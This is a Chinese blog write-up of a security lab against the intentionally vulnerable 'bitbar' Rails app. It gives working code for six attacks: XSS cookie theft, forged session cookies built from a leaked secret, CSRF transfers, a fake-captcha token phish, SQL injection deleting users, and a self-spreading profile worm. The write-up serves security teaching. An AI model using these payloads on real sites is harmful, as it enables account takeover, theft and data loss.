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bitbar滲透實驗

lukas-NLSXFjl_nhc-unsplash

本文首發於 https://sec-in.com/article/441

給的是一個比特幣交易的網站,本地搭建環境之後開始按照文章中的要求來完成 6 次攻擊

網站源碼和代碼都放在這個倉庫了 https://github.com/xinyongpeng/bitbar

根據路由

  get 'profile' => 'user#view_profile'

定位到函數

  def view_profile
    @username = params[:username]
    @user = User.find_by_username(@username)
    if not @user
      if @username and @username != ""
        @error = "用戶 #{@username} 未找到"
      elsif logged_in?
        @user = @logged_in_user
      end
    end
    
    render :profile
  end

可以看到,輸入的 username 被直接給打印出來,那麼自然就存在 XSS 漏洞了。

payload

<script type="text/javascript">(new Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie</script>

或者使用 xmlhttprequest 發送

<script type="text/javascript">var x = new XMLHttpRequest();x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));x.send()</script>

1588517915811.png

攻擊 2: 使用 Cookies 進行會話劫持#

參考這篇文章
1.png

上圖說明了原始的 Session 對象 Session Data 是如何最終生成 Cookie 的

原來的加密過程:

  1. 序列化
  2. 填充,aes-cbc 加密,結果用 base64 編碼
  3. hmac-sha1 簽名
  4. 將加密的數據和簽名通過 -- 連接

但是意外地發現,bitbar 的 cookie 並沒有 aes 加密,可以通過

  1. base64 解碼
  2. 反序列化

得到原始信息,那麼這麼一來,就只需要繞過驗簽這一個障礙了

config/initializers/secret_token.rb

# Be sure to restart your server when you modify this file.

# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!

# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.

# Make sure your secret_key_base is kept private
# if you're sharing your code publicly.
Bitbar::Application.config.secret_token = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

這就是 hmac-sha1 的加解密密鑰

ok,到此為止我們就能偽造數據了

  1. 攻擊者用戶登錄,獲取到當前的 cookie
  2. 修改 cookie 值

這裡需要用到 mechanize 這個包,安裝

gem install mechanize

模擬登錄實現

agent = Mechanize.new #實例化對象
url = "http://localhost:3000/login"

page = agent.get(url) # 獲得網頁

form = page.forms.first # 第一個表單
form['username'] = form['password'] = 'attacker' # 填寫表單,用戶名和密碼都是attacker
agent.submit form # 提交表單

這就相當於登錄了,然後我們獲得 cookie 信息

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

session 如下:

{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

很明顯, 我們只需要修改 logged_in_id 為 1 即可

session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

puts "document.cookie='#{cookie_full}';"

這時候得到的 session

document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';

然後再發送數據,比如訪問 http://localhost:3000/profile

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

此時我們就能看到,
1588571397765.png

瀏覽器已經認為我們是 user1

完整代碼

require 'mechanize'
require 'net/http'
SESSION = '_bitbar_session'
RAILS_SECRET = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

agent = Mechanize.new
url = "http://localhost:3000/login"

page = agent.get(url)

form = page.forms.first
form['username'] = form['password'] = 'attacker'
agent.submit form

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

puts session
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

攻擊 3: 跨站請求偽造#

分析,登錄 user1, 向 attacker 轉帳,抓到的數據包如下

1588573100136.png

可見,只需要構造一個表單自動提交即可

b.html 內容如下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    
    <form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="pay">
        <input type="hidden" name="destination_username" value="attacker">
        <input type="hidden" name="quantity" value=10>
    </form>

    <script type="text/javascript">
        function validate(){
            document.getElementById("pay").submit();
        }
        window.load = validate();
        setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
        </script>
</body>
</html>

表單的字段都是隱藏的,並且值都是給定的,之後通過

document.getElementById("pay").submit();

實現自動提交

最後

setTimeout(function(){window.location = "http://baidu.com";}, 0.1);

0.1s 後跳轉到百度首頁

也可以使用 xmlhttprequest ,一樣的思路

<html>
  <body>
    <script>
      var request = new XMLHttpRequest();
      request.open("POST", "http://localhost:3000/post_transfer");
      request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      request.withCredentials = true;
      try {
        request.send("quantity=10&destination_username=attacker");
      } catch (err) {
        //
      } finally {
        window.location = "http://baidu.com/";
      }
    </script>
  </body>
</html>

攻擊 4: 需要用戶協助的跨站請求偽造#

由於 http://localhost:3000/super_secure_transfer 轉帳的時候,表單帶上了一個隨機 token,所以沒辦法通過 CSRF 來轉帳,只能通過釣魚的辦法,欺騙用戶輸入自己的 Super Secret Token, 這樣我們就能繞過服務器的校驗了

bp2.html 可以使用上面的代碼

bp.html
<html>
  <head>
    <title>23333</title>
  </head>
  <body>
    <style type="text/css">
      iframe {
      width: 100%;
      height: 100%;
      border: none;
      }
    </style>
    <script></script>
    <iframe src="bp2.html" scrolling="no"></iframe>
  </body>
</html>
bp2.html
<p>請輸入 super_secure_post_transfer 頁面下的 Super Secret Token 來證明你不是機器人</p>

<input id="token" type="text" placeholder="Captcha">
<button onClick="gotEm()">確認</button>

<script>
function gotEm() {
  var token = document.getElementById("token").value;
  var request = new XMLHttpRequest();
  request.open("POST", "http://localhost:3000/super_secure_post_transfer", false);
  request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  request.withCredentials = true;
  try {
    request.send("quantity=10&destination_username=attacker&tokeninput=" + token);
  } catch (err) {
    // Do nothing on inevitable XSS error
  } finally {
    window.top.location = "http://baidu.com";
  }
}
</script>

攻擊 5: 小巴比表 (即 SQL 注入)#

刪除用戶的邏輯如下

  def post_delete_user
    if not logged_in?
      render "main/must_login"
      return
    end

    @username = @logged_in_user.username
    User.destroy_all("username = '#{@username}'")

    reset_session
    @logged_in_user = nil
    render "user/delete_user_success"
  end

可以看到輸入的用戶名沒有經過任何的過濾直接拼接到了 SQL 語句中,我們看到後台執行的 SQL 語句
1589676140899.png

如果我們的用戶名中含有 user3 即可將 user3 刪除

那麼如果我們註冊用戶

user3' or username GLOB 'user3?*

拼接出來的 SQL 語句必然是

delete from users where username = user3 or username GLOB 'user3?*'

登錄

1589676748910.png

刪除

1589676771789.png

此時可以看到後台執行的 SQL 語句

1589676794562.png

攻擊 6: 個人資料蠕蟲#

問題出在渲染用戶的 profile 上面

profile.html.erb 中,渲染用戶的 profile 代碼如下

    <% if @user.profile and @user.profile != "" %>
        <div id="profile"><%= sanitize_profile(@user.profile) %></div>
    <% end %>

調用的函數 sanitize_profile

  def sanitize_profile(profile)
    return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span), attributes: %w(id class href colspan rowspan src align valign))
  end

其中 santitize 函數,通過 tagsattributes 可以指定允許的標籤和屬性白名單。

然而屬性中出現了 href, 這意味著我們可以使用 JavaScript 偽協議來 XSS

參考: https://ruby-china.org/topics/28760

比如

<strong id="bitbar_count" class="javascript:alert(1)"></strong>

更新自己的 profile 時,查看自己的 profile,即可彈窗

1589677835296.png

如果有用戶瀏覽當前的 profile,那麼將會發生兩個操作

  1. 轉帳操作
  2. 更新用戶的 profile

轉帳操作的代碼如下

var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
    request.send("quantity=1&destination_username=attacker");
} catch (err) {
//
} finally {
    //xxxx 帶執行的操作
}

轉帳完成之後,我們需要立即更新當前瀏覽用戶的 profile

設置 profile 的數據包如下

1589678078348.png

只需要向路由 /set_profile 發送請求即可

request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('hax-wrap').outerHTML)));

遇到的問題:

  1. 發送的數據含有 html 轉移後的 & 符號。如圖

clipboard.png
這裡我採用的是 String.fromCharCode() 來將其做一次轉換

  1. 字符串拼接只能用 concat 而不能用 + ,因為 + 號在 html 中是空格的意思

最後的代碼

<span id="wrap">
<span id="bitbar_count" class="eval(document['getElementById']('pxy')['innerHTML'])"></span>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
setTimeout(function(){

    var request = new XMLHttpRequest();
    request.open("POST", "http://localhost:3000/post_transfer");
    request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    request.withCredentials = true;
    try {
        request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
    } catch (err) {
    //
    } finally {
        request = new XMLHttpRequest();
        request.open("POST", "http://localhost:3000/set_profile", true);
        request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        request.withCredentials = true;
        request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
    }

}, 0);
10;
</span>
<p>233333</p>
</span>

ps: 也可以用 js 動態創建 form 表單的方式,但是這樣頁面是會跳轉的,無法滿足

在轉帳和 profile 的賦值過程中,瀏覽器的地址欄需要始終停留在http://localhost:3000/profile?username=x ,其中 x 是 profile 被瀏覽的用戶名。

附上 js 動態創建 form 表單的代碼

<span id="wrap">
<strong id="bitbar_count" class="eval((document['getElementById']('pxy').innerHTML))"></strong>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
function makeForm(){
    var form = document.createElement("form");
    form.id = "pay";
    
    document.body.appendChild(form);
    var input = document.createElement("input");
    input.type = "text";

    input.name =  "destination_username";
    input.value = "attacker";
    input.type = 'hidden';

    form.appendChild(input);
    var input2 = document.createElement("input");
    input2.type = "hidden";
    input2.name = "quantity";
    input2.value = 10
    
    form.appendChild(input2);
    form.action = "http://localhost:3000/post_transfer";
    form.method = "POST";
    form.enctype = "application/x-www-form-urlencode";
    form.submit();
}
makeForm();
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
</span>
</span>
載入中......
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